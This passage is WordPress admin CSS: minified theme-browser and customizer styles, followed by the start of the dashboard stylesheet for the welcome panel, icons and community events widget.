.theme-wrap,body.folded .theme-overlay .theme-wrap{top:0;right:0;bottom:0;left:0;padding:70px 20px 20px;border:none;z-index:100000;position:fixed}.theme-browser .theme.active .theme-name span{display:none}.theme-overlay .theme-screenshots{width:40%}.theme-overlay .theme-info{width:50%}.single-theme .theme-wrap{padding:10px}.theme-browser .theme .theme-actions{padding:5px 10px 4px}.theme-overlay.small-screenshot .theme-screenshots{position:static;float:none;max-width:302px}.theme-overlay.small-screenshot .theme-info{margin-left:0;width:auto}.theme.focus .more-details,.theme:hover .more-details,.theme:not(.active):focus .theme-actions,.theme:not(.active):hover .theme-actions{display:none}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:1}}@media only screen and (max-width:480px){.theme-browser .theme{width:100%;margin-right:0}.theme-browser .theme:nth-child(2n),.theme-browser .theme:nth-child(3n){margin-right:0}.theme-overlay .theme-about{bottom:105px}.theme-overlay .theme-actions{padding-left:4%;padding-right:4%}}@media only screen and (max-width:650px){.theme-overlay .theme-description{margin-left:0}.theme-overlay .theme-actions .delete-theme{position:relative;right:auto;bottom:auto}.theme-overlay .theme-actions .inactive-theme{display:inline}.theme-overlay .theme-screenshots{width:100%;float:none}.theme-overlay .theme-info{width:100%}.theme-overlay .theme-author{margin:5px 0 15px}.theme-overlay .current-label{margin-top:10px;font-size:13px}.themes-php .wp-filter-search{float:none;clear:both;left:0;right:0;margin:-5px 0 20px;width:100%;max-width:280px}.theme-browser .theme.add-new-theme span:after{font:normal 60px/90px dashicons;width:80px;height:80px;top:30%;left:50%;text-indent:0;margin-left:-40px}.single-theme .theme-wrap{margin:0 -12px 0 -10px;padding:10px}.single-theme .theme-overlay .theme-about{padding:10px;overflow:visible}.single-theme .current-label{display:none}.single-theme .theme-overlay .theme-actions{position:static}}.broken-themes{clear:both}.broken-themes table{text-align:left;width:50%;border-spacing:3px;padding:3px}.update-php .wrap{max-width:40rem}.theme-browser .theme .theme-installed{background:#2271b1}.theme-browser .theme .notice-success p:before{color:#68de7c;content:"\f147";display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.theme-install.updated-message:before{content:""}.theme-install-php .wp-filter{padding-left:20px}.theme-install-php a.browse-themes,.theme-install-php a.upload{cursor:pointer}.plugin-install-tab-upload .upload-view-toggle .upload,.upload-view-toggle .browse{display:none}.plugin-install-tab-upload .upload-view-toggle .browse{display:inline}.upload-plugin,.upload-theme{box-sizing:border-box;display:none;margin:0;padding:50px 0;width:100%;overflow:hidden;position:relative;top:10px;text-align:center}.plugin-install-tab-upload .upload-plugin,.show-upload-view .upload-plugin,.show-upload-view .upload-plugin-wrap,.show-upload-view .upload-theme{display:block}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{background:#f6f7f7;border:1px solid #c3c4c7;padding:30px;margin:30px auto;display:inline-flex;justify-content:space-between;align-items:center}.upload-plugin .wp-upload-form input[type=file],.upload-theme .wp-upload-form input[type=file]{margin-right:10px}.upload-plugin .install-help,.upload-theme .install-help{color:#50575e;font-size:18px;font-style:normal;margin:0;padding:0;text-align:center}p.no-themes,p.no-themes-local{clear:both;color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0;text-align:center;display:none}.no-results p.no-themes{display:block}.theme-install-php .add-new-theme{display:none!important}@media only screen and (max-width:1120px){.upload-theme .wp-upload-form{margin:20px 0;max-width:100%}.upload-theme .install-help{font-size:15px;padding:20px 0 0}}.theme-details .theme-rating{line-height:1.9}.theme-details .star-rating{display:inline}.theme-details .no-rating,.theme-details .num-ratings{font-size:11px;color:#646970}.theme-details .no-rating{display:block;line-height:1.9}.update-from-upload-comparison{border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;text-align:left;margin:1rem 0 1.4rem;border-collapse:collapse;width:100%}.update-from-upload-comparison tr:last-child td{height:1.4rem;vertical-align:top}.update-from-upload-comparison tr:first-child th{font-weight:700;height:1.4rem;vertical-align:bottom}.update-from-upload-comparison td.name-label{text-align:right}.update-from-upload-comparison td,.update-from-upload-comparison th{padding:.4rem 1.4rem}.update-from-upload-comparison td.warning{color:#d63638}.update-from-upload-actions{margin-top:1.4rem}.appearance_page_custom-header #headimg{border:1px solid #dcdcde;overflow:hidden;width:100%}.appearance_page_custom-header #upload-form p label{font-size:12px}.appearance_page_custom-header .available-headers .default-header{float:left;margin:0 20px 20px 0}.appearance_page_custom-header .random-header{clear:both;margin:0 20px 20px 0;vertical-align:middle}.appearance_page_custom-header .available-headers label input,.appearance_page_custom-header .random-header label input{margin-right:10px}.appearance_page_custom-header .available-headers label img{vertical-align:middle}div#custom-background-image{min-height:100px;border:1px solid #dcdcde}div#custom-background-image img{max-width:400px;max-height:300px}.background-position-control input[type=radio]:checked~.button{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);z-index:1}.background-position-control input[type=radio]:focus~.button{border-color:#4f94d4;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 3px rgba(34,113,177,.8);color:#1d2327}.background-position-control .background-position-center-icon,.background-position-control .background-position-center-icon:before{display:inline-block;line-height:1;text-align:center;transition:background-color .1s ease-in}.background-position-control .background-position-center-icon{height:20px;margin-top:13px;vertical-align:top;width:20px}.background-position-control .background-position-center-icon:before{background-color:#50575e;border-radius:50%;content:"";height:12px;width:12px}.background-position-control .button:hover .background-position-center-icon:before,.background-position-control input[type=radio]:focus~.button .background-position-center-icon:before{background-color:#1d2327}.background-position-control .button-group{display:block}.background-position-control .button-group .button{border-radius:0;box-shadow:none;height:40px!important;line-height:2.9!important;margin:0 -1px 0 0!important;padding:0 10px 1px!important;position:relative}.background-position-control .button-group .button:active,.background-position-control .button-group .button:focus,.background-position-control .button-group .button:hover{z-index:1}.background-position-control .button-group:last-child .button{box-shadow:0 1px 0 #c3c4c7}.background-position-control .button-group>label{margin:0!important}.background-position-control .button-group:first-child>label:first-child .button{border-radius:3px 0 0}.background-position-control .button-group:first-child>label:first-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group:first-child>label:last-child .button{border-radius:0 3px 0 0}.background-position-control .button-group:first-child>label:last-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group:last-child>label:first-child .button{border-radius:0 0 0 3px}.background-position-control .button-group:last-child>label:first-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group:last-child>label:last-child .button{border-radius:0 0 3px}.background-position-control .button-group:last-child>label:last-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group .dashicons{margin-top:9px}.background-position-control .button-group+.button-group{margin-top:-1px}body.full-overlay-active{overflow:hidden;visibility:hidden}.wp-full-overlay{background:0 0;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;left:0;right:0;height:100%;min-width:0}.wp-full-overlay-sidebar{box-sizing:border-box;position:fixed;min-width:300px;max-width:600px;width:18%;height:100%;top:0;bottom:0;left:0;padding:0;margin:0;z-index:10;background:#f0f0f1;border-right:none}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{overflow:visible}.wp-full-overlay.collapsed,.wp-full-overlay.expanded .wp-full-overlay-sidebar{margin-left:0!important}.wp-full-overlay.expanded{margin-left:300px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-left:-300px}@media screen and (min-width:1667px){.wp-full-overlay.expanded{margin-left:18%}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-left:-18%}}@media screen and (min-width:3333px){.wp-full-overlay.expanded{margin-left:600px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-left:-600px}}.wp-full-overlay-sidebar:after{content:"";display:block;position:absolute;top:0;bottom:0;right:0;width:3px;z-index:1000}.wp-full-overlay-main{position:absolute;left:0;right:0;top:0;bottom:0;height:100%}.wp-full-overlay-sidebar .wp-full-overlay-header{position:absolute;left:0;right:0;height:45px;padding:0 15px;line-height:3.2;z-index:10;margin:0;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-header a.back{margin-top:9px}.wp-full-overlay-sidebar .wp-full-overlay-footer{bottom:0;border-bottom:none;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{position:absolute;top:45px;bottom:45px;left:0;right:0;overflow:auto}.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header{padding:0}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{display:block;position:relative;float:left;width:45px;height:45px;background:#f0f0f1;border-right:1px solid #dcdcde;color:#3c434a;cursor:pointer;text-decoration:none;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-install-overlay .close-full-overlay:focus,.theme-install-overlay .close-full-overlay:hover,.theme-install-overlay .next-theme:focus,.theme-install-overlay .next-theme:hover,.theme-install-overlay .previous-theme:focus,.theme-install-overlay .previous-theme:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.theme-install-overlay .close-full-overlay:before{font:normal 22px/1 dashicons;content:"\f335";position:relative;top:7px;left:13px}.theme-install-overlay .previous-theme:before{font:normal 20px/1 dashicons;content:"\f341";position:relative;top:6px;left:14px}.theme-install-overlay .next-theme:before{font:normal 20px/1 dashicons;content:"\f345";position:relative;top:6px;left:13px}.theme-install-overlay .next-theme.disabled,.theme-install-overlay .next-theme.disabled:focus,.theme-install-overlay .next-theme.disabled:hover,.theme-install-overlay .previous-theme.disabled,.theme-install-overlay .previous-theme.disabled:focus,.theme-install-overlay .previous-theme.disabled:hover{color:#c3c4c7;background:#f0f0f1;cursor:default;pointer-events:none}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{border-left:0;border-top:0;border-bottom:0}.theme-install-overlay .close-full-overlay:before,.theme-install-overlay .next-theme:before,.theme-install-overlay .previous-theme:before{top:2px;left:0}.wp-core-ui .wp-full-overlay .collapse-sidebar{position:fixed;bottom:0;left:0;padding:9px 0 9px 10px;height:45px;color:#646970;outline:0;line-height:1;background-color:transparent!important;border:none!important;box-shadow:none!important;border-radius:0!important}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#2271b1}.wp-full-overlay .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar-label{display:inline-block;vertical-align:middle;line-height:1.6}.wp-full-overlay .collapse-sidebar-arrow{width:20px;height:20px;margin:0 2px;border-radius:50%;overflow:hidden}.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-full-overlay .collapse-sidebar-label{margin-left:3px}.wp-full-overlay.collapsed .collapse-sidebar-label{display:none}.wp-full-overlay .collapse-sidebar-arrow:before{display:block;content:"\f148";background:#f0f0f1;font:normal 20px/1 dashicons;speak:never;padding:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar{padding:9px 10px}.rtl .wp-full-overlay .collapse-sidebar-arrow:before,.wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:rotate(180.001deg)}.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:none}.wp-full-overlay,.wp-full-overlay .collapse-sidebar,.wp-full-overlay-main,.wp-full-overlay-sidebar{transition-property:left,right,top,bottom,width,margin;transition-duration:.2s}.wp-full-overlay{background:#1d2327}.wp-full-overlay-main{background-color:#f0f0f1}.expanded .wp-full-overlay-footer{position:fixed;bottom:0;left:0;min-width:299px;max-width:599px;width:18%;width:calc(18% - 1px);height:45px;border-top:1px solid #dcdcde;background:#f0f0f1}.wp-full-overlay-footer .devices-wrapper{float:right}.wp-full-overlay-footer .devices{position:relative;background:#f0f0f1;box-shadow:-20px 0 10px -5px #f0f0f1}.wp-full-overlay-footer .devices button{cursor:pointer;background:0 0;border:none;height:45px;padding:0 3px;margin:0 0 0 -4px;box-shadow:none;border-top:1px solid transparent;border-bottom:4px solid transparent;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}.wp-full-overlay-footer .devices button:focus{box-shadow:none;outline:0}.wp-full-overlay-footer .devices button:before{display:inline-block;-webkit-font-smoothing:antialiased;font:normal 20px/30px dashicons;vertical-align:top;margin:3px 0;padding:4px 8px;color:#646970}.wp-full-overlay-footer .devices button.active{border-bottom-color:#1d2327}.wp-full-overlay-footer .devices button:focus,.wp-full-overlay-footer .devices button:hover{background-color:#fff}.wp-full-overlay-footer .devices button.active:hover,.wp-full-overlay-footer .devices button:focus{border-bottom-color:#2271b1}.wp-full-overlay-footer .devices button.active:before{color:#1d2327}.wp-full-overlay-footer .devices button:focus:before,.wp-full-overlay-footer .devices button:hover:before{color:#2271b1}.wp-full-overlay-footer .devices .preview-desktop:before{content:"\f472"}.wp-full-overlay-footer .devices .preview-tablet:before{content:"\f471"}.wp-full-overlay-footer .devices .preview-mobile:before{content:"\f470"}@media screen and (max-width:1024px){.wp-full-overlay-footer .devices{display:none}}.collapsed .wp-full-overlay-footer .devices button:before{display:none}.preview-mobile .wp-full-overlay-main{margin:auto 0 auto -160px;width:320px;height:480px;max-height:100%;max-width:100%;left:50%}.preview-tablet .wp-full-overlay-main{margin:auto 0 auto -360px;width:720px;height:1080px;max-height:100%;max-width:100%;left:50%}.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#customize-container,#customize-controls .notice.notification-overlay{background:#f0f0f1;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;left:0;right:0;height:100%}#customize-container{display:none}#customize-container,.theme-install-overlay{visibility:visible}.customize-loading #customize-container iframe{opacity:0}#customize-container iframe,.theme-install-overlay iframe{height:100%;width:100%;z-index:20;transition:opacity .3s}#customize-controls{margin-top:0}.theme-install-overlay{display:none}.theme-install-overlay.single-theme{display:block}.install-theme-info{display:none;padding:10px 20px 60px}.single-theme .install-theme-info{padding-top:15px}.theme-install-overlay .install-theme-info{display:block}.install-theme-info .theme-install{float:right;margin-top:18px}.install-theme-info .theme-name{font-size:16px;line-height:1.5;margin-bottom:0;margin-top:0}.install-theme-info .theme-screenshot{margin:15px 0;width:258px;border:1px solid #c3c4c7;position:relative;overflow:hidden}.install-theme-info .theme-screenshot>img{width:100%;height:auto;position:absolute;left:0;top:0}.install-theme-info .theme-screenshot:after{content:"";display:block;padding-top:66.66666666%}.install-theme-info .theme-details{overflow:hidden}.theme-details .theme-version{margin:15px 0}.theme-details .theme-description{float:left;color:#646970;line-height:1.6;max-width:100%}.theme-install-overlay .wp-full-overlay-header .button{float:right;margin:8px 10px 0 0}.theme-install-overlay .wp-full-overlay-sidebar{background:#f0f0f1;border-right:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-sidebar-content{background:#fff;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-main{position:absolute;z-index:0;background-color:#f0f0f1}.customize-loading #customize-container{background-color:#f0f0f1}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;z-index:-1;margin:-10px 0 0 -10px;transform:translateZ(0);background:transparent url(../images/spinner.gif) no-repeat center center;background-size:20px 20px}#customize-preview.wp-full-overlay-main.iframe-ready:before,.theme-install-overlay.iframe-ready .wp-full-overlay-main:before{background-image:none}@media print,(min-resolution:120dpi){.wp-full-overlay .collapse-sidebar-arrow{background-image:url(../images/arrows-2x.png);background-size:15px 123px}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.available-theme .action-links .delete-theme{float:none;margin:0;padding:0;clear:both}.available-theme .action-links .delete-theme a{padding:0}.broken-themes table{width:100%}.theme-install-overlay .wp-full-overlay-header .button{font-size:13px;line-height:2.15384615;min-height:30px}.theme-browser .theme .theme-actions .button{margin-bottom:0}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{padding-top:4px;padding-bottom:4px}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{display:block}}@media aural{.theme .notice:before,.theme-info .updated-message:before,.theme-info .updating-message:before,.theme-install.updating-message:before{speak:never}}#wpbody-content #dashboard-widgets.columns-1 .postbox-container {
	width: 100%;
}

#wpbody-content #dashboard-widgets.columns-2 .postbox-container {
	width: 49.5%;
}

#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,
#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,
#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 {
	float: right;
	width: 50.5%;
}

#wpbody-content #dashboard-widgets.columns-3 .postbox-container {
	width: 33.5%;
}

#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 {
	width: 33%;
}

#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,
#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 {
	float: right;
}

#wpbody-content #dashboard-widgets.columns-4 .postbox-container {
	width: 25%;
}

#dashboard-widgets .postbox-container {
	width: 25%;
}

#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container {
	border: none !important;
}

#dashboard-widgets-wrap {
	overflow: hidden;
	margin: 0 -8px;
}

#dashboard-widgets .postbox .inside {
	margin-bottom: 0;
}

#dashboard-widgets .meta-box-sortables {
	display: flow-root; /* avoid margin collapsing between parent and first/last child elements */
	/* Required min-height to make the jQuery UI Sortable drop zone work. */
	min-height: 100px;
	margin: 0 8px 20px;
}

#dashboard-widgets .postbox-container .empty-container {
	outline: 3px dashed #c3c4c7;
	height: 250px;
}

/* Only highlight drop zones when dragging and only in the 2 columns layout. */
.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables {
	outline: 3px dashed #646970;
	/* Prevent margin on the child from collapsing with margin on the parent. */
	display: flow-root;
}

#dashboard-widgets .postbox-container .empty-container:after {
	content: attr(data-emptystring);
	margin: auto;
	position: absolute;
	top: 50%;
	left: 0;
	right: 0;
	transform: translateY( -50% );
	padding: 0 2em;
	text-align: center;
	color: #646970;
	font-size: 16px;
	line-height: 1.5;
	display: none;
}


/* @todo: this was originally in this section, but likely belongs elsewhere */
#the-comment-list td.comment p.comment-author {
	margin-top: 0;
	margin-left: 0;
}

#the-comment-list p.comment-author img {
	float: left;
	margin-right: 8px;
}

#the-comment-list p.comment-author strong a {
	border: none;
}

#the-comment-list td {
	vertical-align: top;
}

#the-comment-list td.comment {
	word-wrap: break-word;
}

#the-comment-list td.comment img {
	max-width: 100%;
}

/* Screen meta exception for when the "Dashboard" heading is missing or located below the Welcome Panel. */
.index-php #screen-meta-links {
	margin: 0 20px 8px 0;
}

/* Welcome Panel */
.welcome-panel {
	position: relative;
	overflow: auto;
	margin: 16px 0;
	background-color: #151515;
	font-size: 14px;
	line-height: 1.3;
	clear: both;
}

.welcome-panel h2 {
	margin: 0;
	font-size: 48px;
	font-weight: 600;
	line-height: 1.25;
}

.welcome-panel h3 {
	margin: 0;
	font-size: 20px;
	font-weight: 400;
	line-height: 1.4;
}

.welcome-panel p {
	font-size: inherit;
	line-height: inherit;
}

.welcome-panel-header {
	position: relative;
	color: #fff;
}

.welcome-panel-header-image {
	position: absolute !important;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	z-index: 0 !important;
	overflow: hidden;
}

.welcome-panel-header-image svg {
	display: block;
	margin: auto;
	width: 100%;
	height: 100%;
}

.rtl .welcome-panel-header-image svg {
	transform: scaleX(-1);
}

.welcome-panel-header * {
	color: inherit;
	position: relative;
	z-index: 1;
}

.welcome-panel-header a:focus,
.welcome-panel-header a:hover {
	color: inherit;
	text-decoration: none;
}

.welcome-panel-header a:focus,
.welcome-panel .welcome-panel-close:focus {
	outline-color: currentColor;
	outline-offset: 1px;
	box-shadow: none;
}

.welcome-panel-header p {
	margin: 0.5em 0 0;
	font-size: 20px;
	line-height: 1.4;
}

.welcome-panel .welcome-panel-close {
	position: absolute;
	top: 10px;
	right: 10px;
	padding: 10px 15px 10px 24px;
	font-size: 13px;
	line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */
	text-decoration: none;
	z-index: 1; /* Raise above the version image. */
}

.welcome-panel .welcome-panel-close:before {
	position: absolute;
	top: 8px;
	left: 0;
	transition: all .1s ease-in-out;
	content: '\f335';
	font-size: 24px;
	color: #fff;
}

.welcome-panel .welcome-panel-close {
	color: #fff;
}

.welcome-panel .welcome-panel-close:hover,
.welcome-panel .welcome-panel-close:focus,
.welcome-panel .welcome-panel-close:hover::before,
.welcome-panel .welcome-panel-close:focus::before {
	color: #fff972;
}

/* @deprecated 5.9.0 -- Button removed from panel. */
.wp-core-ui .welcome-panel .button.button-hero {
	margin: 15px 13px 3px 0;
	padding: 12px 36px;
	height: auto;
	line-height: 1.4285714;
	white-space: normal;
}

.welcome-panel-content {
	min-height: 400px;
	display: flex;
	flex-direction: column;
	justify-content: space-between;
}

.welcome-panel-header {
	box-sizing: border-box;
	margin-left: auto;
	margin-right: auto;
	max-width: 1500px;
	width: 100%;
	padding: 48px 0 80px 48px;
}

.welcome-panel .welcome-panel-column-container {
	box-sizing: border-box;
	width: 100%;
	clear: both;
	display: grid;
	z-index: 1;
	padding: 48px;
	grid-template-columns: repeat(3, 1fr);
	gap: 32px;
	align-self: flex-end;
	background: #fff;
}

[class*="welcome-panel-icon"] {
	height: 60px;
	width: 60px;
	background-position: center;
	background-size: 24px 24px;
	background-repeat: no-repeat;
	border-radius: 100%;
}

.welcome-panel-column > svg {
	margin-top: 4px;
}

.welcome-panel-column {
	display: grid;
	grid-template-columns: min-content 1fr;
	gap: 24px;
}

.welcome-panel-icon-pages {
	background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E");
}

.welcome-panel-icon-layout {
	background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E");
}

.welcome-panel-icon-styles {
	background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E");
}

/* @deprecated 5.9.0 -- Section removed from welcome panel. */
.welcome-panel .welcome-widgets-menus {
	line-height: 1.14285714;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel .welcome-panel-column ul {
	margin: 0.8em 1em 1em 0;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel li {
	font-size: 14px;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel li a {
	text-decoration: none;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel .welcome-panel-column li {
	line-height: 1.14285714;
	list-style-type: none;
	padding: 0 0 8px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-icon {
	background: transparent !important;
}

/* Welcome Panel and Right Now common Icons style */

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-icon:before,
#dashboard_right_now li a:before,
#dashboard_right_now li span:before,
#dashboard_right_now .search-engines-info:before {
	color: #646970;
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0 10px 0 0;
	position: relative;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	vertical-align: top;
}

/* Welcome Panel specific Icons styles */

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-write-blog:before,
.welcome-panel .welcome-edit-page:before {
	content: "\f119";
	top: -3px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-add-page:before {
	content: "\f132";
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-setup-home:before {
	content: "\f102";
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-view-site:before {
	content: "\f115";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-widgets-menus:before {
	content: "\f116";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-widgets:before {
	content: "\f538";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-menus:before {
	content: "\f163";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-comments:before {
	content: "\f117";
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-learn-more:before {
	content: "\f118";
	top: -1px;
}

/* Right Now specific Icons styles */

#dashboard_right_now .search-engines-info:before,
#dashboard_right_now li a:before,
#dashboard_right_now li > span:before { /* get only the first level span to exclude screen-reader-text in mu-storage */
	content: "\f159"; /* generic icon for items added by CPTs ? */
	padding: 0 5px 0 0;
}

#dashboard_right_now .page-count a:before,
#dashboard_right_now .page-count span:before {
	content: "\f105";
}

#dashboard_right_now .post-count a:before,
#dashboard_right_now .post-count span:before {
	content: "\f109";
}

#dashboard_right_now .comment-count a:before {
	content: "\f101";
}

#dashboard_right_now .comment-mod-count a:before {
	content: "\f125";
}

#dashboard_right_now .storage-count a:before {
	content: "\f104";
}

#dashboard_right_now .storage-count.warning a:before {
	content: "\f153";
}

#dashboard_right_now .search-engines-info:before {
	content: "\f348";
}

/* Dashboard WordPress events */

.community-events-errors {
	margin: 0;
}

.community-events-loading {
	padding: 10px 12px 8px;
}

.community-events {
	margin-bottom: 6px;
	padding: 0 12px;
}

.community-events .spinner {
	float: none;
	margin: 5px 2px 0;
	vertical-align: top;
}

.community-events-errors[aria-hidden="true"],
.community-events-errors [aria-hidden="true"],
.community-events-loading[aria-hidden="true"],
.community-events[aria-hidden="true"],
.community-events form[aria-hidden="true"] {
	display: none;
}

.community-events .activity-block:first-child,
.community-events h2 {
	padding-top: 12px;
	padding-bottom: 10px;
}

.community-events-form {
	margin: 15px 0 5px;
}

.community-events-form .regular-text {
	width: 40%;
	height: 29px;
	margin: 0;
	vertical-align: top;
}

.community-events li.event-none {
	border-left: 4px solid #72aee6;
}

#dashboard-widgets .community-events li.event-none a {
	text-decoration: underline;
}

.community-events-form label {
	display: inline-block;
	vertical-align: top;
	line-height: 2.15384615;
	height: 28px;
}

.community-events .activity-block > p {
	margin-bottom: 0;
	display: inline;
}

.community-events-toggle-location {
	vertical-align: middle;
}

#community-events-submit {
	margin-left: 3px;
	margin-right: 3px;
}

/* Needs higher specificity than #dashboard-widgets .button-link */
#dashboard-widgets .community-events-cancel.button-link {
	vertical-align: top;
	/* Same properties as the submit button for cross-browsers alignment. */
	line-height: 2;
	height: 28px;
	text-decoration: underline;
}

.community-events ul {
	background-color: #f6f7f7;
	padding-left: 0;
	padding-right: 0;
	padding-bottom: 0;
}

.community-events li {
	margin: 0;
	padding: 8px 12px;
	color: #2c3338;
}
.community-events li:first-child {
	border-top: 1px solid #f0f0f1;
}

.community-events li ~ li {
	border-top: 1px solid #f0f0f1;
}

.community-events .activity-block.last {
	border-bottom: 1px solid #f0f0f1;
	padding-top: 0;
	margin-top: -1px;
}

.community-events .event-info {
	display: block;
}

.community-events .ce-separator::before {
	content: "\2022";
}

.event-icon {
	height: 18px;
	padding-right: 10px;
	width: 18px;
	display: none; /* Hide on smaller screens */
}

.event-icon:before {
	color: #646970;
	font-size: 18px;
}
.event-meetup .event-icon:before {
	content: "\f484";
}
.event-wordcamp .event-icon:before {
	content: "\f486";
}

.community-events .event-title {
	font-weight: 600;
	display: block;
}

.community-events .event-date,
.community-events .event-time {
	display: block;
}

.community-events-footer {
	margin-top: 0;
	margin-bottom: 0;
	padding: 12px;
	border-top: 1px solid #f0f0f1;
	color: #dcdcde;
}

/* Safari 10 + VoiceOver specific: without this, the hidden text gets read out before the link. */
.community-events-footer .screen-reader-text {
	height: inherit;
	white-space: nowrap;
}

/* Dashboard WordPress news */

#dashboard_primary .inside {
	margin: 0;
